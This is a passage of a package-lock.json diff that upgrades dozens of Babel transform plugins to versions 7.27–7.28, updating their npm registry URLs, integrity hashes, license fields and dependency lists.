-        "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1195,13 +1232,14 @@
       }
     },
     "node_modules/@babel/plugin-transform-function-name": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.23.3.tgz",
-      "integrity": "sha512-I1QXp1LxIvt8yLaib49dRW5Okt7Q4oaxao6tFVKS/anCdEOMtYwWVKoiOA1p34GOWIZjUK0E+zCp7+l1pfQyiw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.27.1.tgz",
+      "integrity": "sha512-1bQeydJF9Nr1eBCMMbC+hdwmRlsv5XYOMu03YSWFwNs0HsAmtSxxF1fyuYPqemVldVyFmlCU7w8UE14LupUSZQ==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-compilation-targets": "^7.22.15",
-        "@babel/helper-function-name": "^7.23.0",
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-compilation-targets": "^7.27.1",
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/traverse": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1211,12 +1249,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-json-strings": {
-      "version": "7.23.4",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-json-strings/-/plugin-transform-json-strings-7.23.4.tgz",
-      "integrity": "sha512-81nTOqM1dMwZ/aRXQ59zVubN9wHGqk6UtqRK+/q+ciXmRy8fSolhGVvG09HHRGo4l6fr/c4ZhXUQH0uFW7PZbg==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-json-strings/-/plugin-transform-json-strings-7.27.1.tgz",
+      "integrity": "sha512-6WVLVJiTjqcQauBhn1LkICsR2H+zm62I3h9faTDKt1qP4jn2o72tSvqMwtGFKGTpojce0gJs+76eZ2uCHRZh0Q==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/plugin-syntax-json-strings": "^7.8.3"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1226,11 +1264,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-literals": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.23.3.tgz",
-      "integrity": "sha512-wZ0PIXRxnwZvl9AYpqNUxpZ5BiTGrYt7kueGQ+N5FiQ7RCOD4cm8iShd6S6ggfVIWaJf2EMk8eRzAh52RfP4rQ==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.27.1.tgz",
+      "integrity": "sha512-0HCFSepIpLTkLcsi86GG3mTUzxV5jpmbv97hTETW3yzrAij8aqlD36toB1D0daVFJM8NK6GvKO0gslVQmm+zZA==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1240,12 +1279,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-logical-assignment-operators": {
-      "version": "7.23.4",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-logical-assignment-operators/-/plugin-transform-logical-assignment-operators-7.23.4.tgz",
-      "integrity": "sha512-Mc/ALf1rmZTP4JKKEhUwiORU+vcfarFVLfcFiolKUo6sewoxSEgl36ak5t+4WamRsNr6nzjZXQjM35WsU+9vbg==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-logical-assignment-operators/-/plugin-transform-logical-assignment-operators-7.27.1.tgz",
+      "integrity": "sha512-SJvDs5dXxiae4FbSL1aBJlG4wvl594N6YEVVn9e3JGulwioy6z3oPjx/sQBO3Y4NwUu5HNix6KJ3wBZoewcdbw==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1255,11 +1294,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-member-expression-literals": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.23.3.tgz",
-      "integrity": "sha512-sC3LdDBDi5x96LA+Ytekz2ZPk8i/Ck+DEuDbRAll5rknJ5XRTSaPKEYwomLcs1AA8wg9b3KjIQRsnApj+q51Ag==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.27.1.tgz",
+      "integrity": "sha512-hqoBX4dcZ1I33jCSWcXrP+1Ku7kdqXf1oeah7ooKOIiAdKQ+uqftgCFNOSzA5AMS2XIHEYeGFg4cKRCdpxzVOQ==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1269,12 +1309,13 @@
       }
     },
     "node_modules/@babel/plugin-transform-modules-amd": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.23.3.tgz",
-      "integrity": "sha512-vJYQGxeKM4t8hYCKVBlZX/gtIY2I7mRGFNcm85sgXGMTBcoV3QdVtdpbcWEbzbfUIUZKwvgFT82mRvaQIebZzw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.27.1.tgz",
+      "integrity": "sha512-iCsytMg/N9/oFq6n+gFTvUYDZQOMK5kEdeYxmxt91fcJGycfxVP9CnrxoliM0oumFERba2i8ZtwRUCMhvP1LnA==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-module-transforms": "^7.23.3",
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-module-transforms": "^7.27.1",
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1284,13 +1325,13 @@
       }
     },
     "node_modules/@babel/plugin-transform-modules-commonjs": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.23.3.tgz",
-      "integrity": "sha512-aVS0F65LKsdNOtcz6FRCpE4OgsP2OFnW46qNxNIX9h3wuzaNcSQsJysuMwqSibC98HPrf2vCgtxKNwS0DAlgcA==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.27.1.tgz",
+      "integrity": "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-module-transforms": "^7.23.3",
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/helper-simple-access": "^7.22.5"
+        "@babel/helper-module-transforms": "^7.27.1",
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1300,14 +1341,15 @@
       }
     },
     "node_modules/@babel/plugin-transform-modules-systemjs": {
-      "version": "7.23.9",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.23.9.tgz",
-      "integrity": "sha512-KDlPRM6sLo4o1FkiSlXoAa8edLXFsKKIda779fbLrvmeuc3itnjCtaO6RrtoaANsIJANj+Vk1zqbZIMhkCAHVw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.27.1.tgz",
+      "integrity": "sha512-w5N1XzsRbc0PQStASMksmUeqECuzKuTJer7kFagK8AXgpCMkeDMO5S+aaFb7A51ZYDF7XI34qsTX+fkHiIm5yA==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-hoist-variables": "^7.22.5",
-        "@babel/helper-module-transforms": "^7.23.3",
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/helper-validator-identifier": "^7.22.20"
+        "@babel/helper-module-transforms": "^7.27.1",
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/helper-validator-identifier": "^7.27.1",
+        "@babel/traverse": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1317,12 +1359,13 @@
       }
     },
     "node_modules/@babel/plugin-transform-modules-umd": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.23.3.tgz",
-      "integrity": "sha512-zHsy9iXX2nIsCBFPud3jKn1IRPWg3Ing1qOZgeKV39m1ZgIdpJqvlWVeiHBZC6ITRG0MfskhYe9cLgntfSFPIg==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.27.1.tgz",
+      "integrity": "sha512-iQBE/xC5BV1OxJbp6WG7jq9IWiD+xxlZhLrdwpPkTX3ydmXdvoCpyfJN7acaIBZaOqTfr76pgzqBJflNbeRK+w==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-module-transforms": "^7.23.3",
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-module-transforms": "^7.27.1",
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1332,12 +1375,13 @@
       }
     },
     "node_modules/@babel/plugin-transform-named-capturing-groups-regex": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.22.5.tgz",
-      "integrity": "sha512-YgLLKmS3aUBhHaxp5hi1WJTgOUb/NCuDHzGT9z9WTt3YG+CPRhJs6nprbStx6DnWM4dh6gt7SU3sZodbZ08adQ==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.27.1.tgz",
+      "integrity": "sha512-SstR5JYy8ddZvD6MhV0tM/j16Qds4mIpJTOd1Yu9J9pJjH93bxHECF7pgtc28XvkzTD6Pxcm/0Z73Hvk7kb3Ng==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-create-regexp-features-plugin": "^7.22.5",
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-create-regexp-features-plugin": "^7.27.1",
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1347,11 +1391,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-new-target": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.23.3.tgz",
-      "integrity": "sha512-YJ3xKqtJMAT5/TIZnpAR3I+K+WaDowYbN3xyxI8zxx/Gsypwf9B9h0VB+1Nh6ACAAPRS5NSRje0uVv5i79HYGQ==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.27.1.tgz",
+      "integrity": "sha512-f6PiYeqXQ05lYq3TIfIDu/MtliKUbNwkGApPUvyo6+tc7uaR4cPjPe7DFPr15Uyycg2lZU6btZ575CuQoYh7MQ==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1361,12 +1406,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-nullish-coalescing-operator": {
-      "version": "7.23.4",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.23.4.tgz",
-      "integrity": "sha512-jHE9EVVqHKAQx+VePv5LLGHjmHSJR76vawFPTdlxR/LVJPfOEGxREQwQfjuZEOPTwG92X3LINSh3M40Rv4zpVA==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.27.1.tgz",
+      "integrity": "sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1376,12 +1421,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-numeric-separator": {
-      "version": "7.23.4",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-numeric-separator/-/plugin-transform-numeric-separator-7.23.4.tgz",
-      "integrity": "sha512-mps6auzgwjRrwKEZA05cOwuDc9FAzoyFS4ZsG/8F43bTLf/TgkJg7QXOrPO1JO599iA3qgK9MXdMGOEC8O1h6Q==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-numeric-separator/-/plugin-transform-numeric-separator-7.27.1.tgz",
+      "integrity": "sha512-fdPKAcujuvEChxDBJ5c+0BTaS6revLV7CJL08e4m3de8qJfNIuCc2nc7XJYOjBoTMJeqSmwXJ0ypE14RCjLwaw==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/plugin-syntax-numeric-separator": "^7.10.4"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1391,15 +1436,16 @@
       }
     },
     "node_modules/@babel/plugin-transform-object-rest-spread": {
-      "version": "7.23.4",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-rest-spread/-/plugin-transform-object-rest-spread-7.23.4.tgz",
-      "integrity": "sha512-9x9K1YyeQVw0iOXJlIzwm8ltobIIv7j2iLyP2jIhEbqPRQ7ScNgwQufU2I0Gq11VjyG4gI4yMXt2VFags+1N3g==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-rest-spread/-/plugin-transform-object-rest-spread-7.28.0.tgz",
+      "integrity": "sha512-9VNGikXxzu5eCiQjdE4IZn8sb9q7Xsk5EXLDBKUYg1e/Tve8/05+KJEtcxGxAgCY5t/BpKQM+JEL/yT4tvgiUA==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/compat-data": "^7.23.3",
-        "@babel/helper-compilation-targets": "^7.22.15",
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
-        "@babel/plugin-transform-parameters": "^7.23.3"
+        "@babel/helper-compilation-targets": "^7.27.2",
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/plugin-transform-destructuring": "^7.28.0",
+        "@babel/plugin-transform-parameters": "^7.27.7",
+        "@babel/traverse": "^7.28.0"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1409,12 +1455,13 @@
       }
     },
     "node_modules/@babel/plugin-transform-object-super": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.23.3.tgz",
-      "integrity": "sha512-BwQ8q0x2JG+3lxCVFohg+KbQM7plfpBwThdW9A6TMtWwLsbDA01Ek2Zb/AgDN39BiZsExm4qrXxjk+P1/fzGrA==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.27.1.tgz",
+      "integrity": "sha512-SFy8S9plRPbIcxlJ8A6mT/CxFdJx/c04JEctz4jf8YZaVS2px34j7NXRrlGlHkN/M2gnpL37ZpGRGVFLd3l8Ng==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/helper-replace-supers": "^7.22.20"
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/helper-replace-supers": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1424,12 +1471,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-optional-catch-binding": {
-      "version": "7.23.4",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-catch-binding/-/plugin-transform-optional-catch-binding-7.23.4.tgz",
-      "integrity": "sha512-XIq8t0rJPHf6Wvmbn9nFxU6ao4c7WhghTR5WyV8SrJfUFzyxhCm4nhC+iAp3HFhbAKLfYpgzhJ6t4XCtVwqO5A==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-catch-binding/-/plugin-transform-optional-catch-binding-7.27.1.tgz",
+      "integrity": "sha512-txEAEKzYrHEX4xSZN4kJ+OfKXFVSWKB2ZxM9dpcE3wT7smwkNmXo5ORRlVzMVdJbD+Q8ILTgSD7959uj+3Dm3Q==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/plugin-syntax-optional-catch-binding": "^7.8.3"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1439,13 +1486,13 @@
       }
     },
     "node_modules/@babel/plugin-transform-optional-chaining": {
-      "version": "7.23.4",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.23.4.tgz",
-      "integrity": "sha512-ZU8y5zWOfjM5vZ+asjgAPwDaBjJzgufjES89Rs4Lpq63O300R/kOz30WCLo6BxxX6QVEilwSlpClnG5cZaikTA==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.27.1.tgz",
+      "integrity": "sha512-BQmKPPIuc8EkZgNKsv0X4bPmOoayeu4F1YCwx2/CfmDSXDbp7GnzlUH+/ul5VGfRg1AoFPsrIThlEBj2xb4CAg==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5",
-        "@babel/plugin-syntax-optional-chaining": "^7.8.3"
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1455,11 +1502,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-parameters": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.23.3.tgz",
-      "integrity": "sha512-09lMt6UsUb3/34BbECKVbVwrT9bO6lILWln237z7sLaWnMsTi7Yc9fhX5DLpkJzAGfaReXI22wP41SZmnAA3Vw==",
+      "version": "7.27.7",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.27.7.tgz",
+      "integrity": "sha512-qBkYTYCb76RRxUM6CcZA5KRu8K4SM8ajzVeUgVdMVO9NN9uI/GaVmBg/WKJJGnNokV9SY8FxNOVWGXzqzUidBg==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1469,12 +1517,13 @@
       }
     },
     "node_modules/@babel/plugin-transform-private-methods": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.23.3.tgz",
-      "integrity": "sha512-UzqRcRtWsDMTLrRWFvUBDwmw06tCQH9Rl1uAjfh6ijMSmGYQ+fpdB+cnqRC8EMh5tuuxSv0/TejGL+7vyj+50g==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.27.1.tgz",
+      "integrity": "sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-create-class-features-plugin": "^7.22.15",
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-create-class-features-plugin": "^7.27.1",
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1484,14 +1533,14 @@
       }
     },
     "node_modules/@babel/plugin-transform-private-property-in-object": {
-      "version": "7.23.4",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-property-in-object/-/plugin-transform-private-property-in-object-7.23.4.tgz",
-      "integrity": "sha512-9G3K1YqTq3F4Vt88Djx1UZ79PDyj+yKRnUy7cZGSMe+a7jkwD259uKKuUzQlPkGam7R+8RJwh5z4xO27fA1o2A==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-property-in-object/-/plugin-transform-private-property-in-object-7.27.1.tgz",
+      "integrity": "sha512-5J+IhqTi1XPa0DXF83jYOaARrX+41gOewWbkPyjMNRDqgOCqdffGh8L3f/Ek5utaEBZExjSAzcyjmV9SSAWObQ==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-annotate-as-pure": "^7.22.5",
-        "@babel/helper-create-class-features-plugin": "^7.22.15",
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/plugin-syntax-private-property-in-object": "^7.14.5"
+        "@babel/helper-annotate-as-pure": "^7.27.1",
+        "@babel/helper-create-class-features-plugin": "^7.27.1",
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1501,11 +1550,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-property-literals": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.23.3.tgz",
-      "integrity": "sha512-jR3Jn3y7cZp4oEWPFAlRsSWjxKe4PZILGBSd4nis1TsC5qeSpb+nrtihJuDhNI7QHiVbUaiXa0X2RZY3/TI6Nw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.27.1.tgz",
+      "integrity": "sha512-oThy3BCuCha8kDZ8ZkgOg2exvPYUlprMukKQXI1r1pJ47NCvxfkEy8vK+r/hT9nF0Aa4H1WUPZZjHTFtAhGfmQ==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1515,11 +1565,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-react-constant-elements": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-constant-elements/-/plugin-transform-react-constant-elements-7.23.3.tgz",
-      "integrity": "sha512-zP0QKq/p6O42OL94udMgSfKXyse4RyJ0JqbQ34zDAONWjyrEsghYEyTSK5FIpmXmCpB55SHokL1cRRKHv8L2Qw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-constant-elements/-/plugin-transform-react-constant-elements-7.27.1.tgz",
+      "integrity": "sha512-edoidOjl/ZxvYo4lSBOQGDSyToYVkTAwyVoa2tkuYTSmjrB1+uAedoL5iROVLXkxH+vRgA7uP4tMg2pUJpZ3Ug==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1529,11 +1580,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-react-display-name": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.23.3.tgz",
-      "integrity": "sha512-GnvhtVfA2OAtzdX58FJxU19rhoGeQzyVndw3GgtdECQvQFXPEZIOVULHVZGAYmOgmqjXpVpfocAbSjh99V/Fqw==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.28.0.tgz",
+      "integrity": "sha512-D6Eujc2zMxKjfa4Zxl4GHMsmhKKZ9VpcqIchJLvwTxad9zWIYulwYItBovpDOoNLISpcZSXoDJ5gaGbQUDqViA==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1543,15 +1595,16 @@
       }
     },
     "node_modules/@babel/plugin-transform-react-jsx": {
-      "version": "7.23.4",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.23.4.tgz",
-      "integrity": "sha512-5xOpoPguCZCRbo/JeHlloSkTA8Bld1J/E1/kLfD1nsuiW1m8tduTA1ERCgIZokDflX/IBzKcqR3l7VlRgiIfHA==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.27.1.tgz",
+      "integrity": "sha512-2KH4LWGSrJIkVf5tSiBFYuXDAoWRq2MMwgivCf+93dd0GQi8RXLjKA/0EvRnVV5G0hrHczsquXuD01L8s6dmBw==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-annotate-as-pure": "^7.22.5",
-        "@babel/helper-module-imports": "^7.22.15",
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/plugin-syntax-jsx": "^7.23.3",
-        "@babel/types": "^7.23.4"
+        "@babel/helper-annotate-as-pure": "^7.27.1",
+        "@babel/helper-module-imports": "^7.27.1",
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/plugin-syntax-jsx": "^7.27.1",
+        "@babel/types": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1561,11 +1614,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-react-jsx-development": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.22.5.tgz",
-      "integrity": "sha512-bDhuzwWMuInwCYeDeMzyi7TaBgRQei6DqxhbyniL7/VG4RSS7HtSL2QbY4eESy1KJqlWt8g3xeEBGPuo+XqC8A==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.27.1.tgz",
+      "integrity": "sha512-ykDdF5yI4f1WrAolLqeF3hmYU12j9ntLQl/AOG1HAS21jxyg1Q0/J/tpREuYLfatGdGmXp/3yS0ZA76kOlVq9Q==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/plugin-transform-react-jsx": "^7.22.5"
+        "@babel/plugin-transform-react-jsx": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1575,12 +1629,13 @@
       }
     },
     "node_modules/@babel/plugin-transform-react-pure-annotations": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.23.3.tgz",
-      "integrity": "sha512-qMFdSS+TUhB7Q/3HVPnEdYJDQIk57jkntAwSuz9xfSE4n+3I+vHYCli3HoHawN1Z3RfCz/y1zXA/JXjG6cVImQ==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.27.1.tgz",
+      "integrity": "sha512-JfuinvDOsD9FVMTHpzA/pBLisxpv1aSf+OIV8lgH3MuWrks19R27e6a6DipIg4aX1Zm9Wpb04p8wljfKrVSnPA==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-annotate-as-pure": "^7.22.5",
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-annotate-as-pure": "^7.27.1",
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1590,12 +1645,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-regenerator": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.23.3.tgz",
-      "integrity": "sha512-KP+75h0KghBMcVpuKisx3XTu9Ncut8Q8TuvGO4IhY+9D5DFEckQefOuIsB/gQ2tG71lCke4NMrtIPS8pOj18BQ==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.28.0.tgz",
+      "integrity": "sha512-LOAozRVbqxEVjSKfhGnuLoE4Kz4Oc5UJzuvFUhSsQzdCdaAQu06mG8zDv2GFSerM62nImUZ7K92vxnQcLSDlCQ==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "regenerator-transform": "^0.15.2"
+        "@babel/helper-plugin-utils": "^7.27.1"
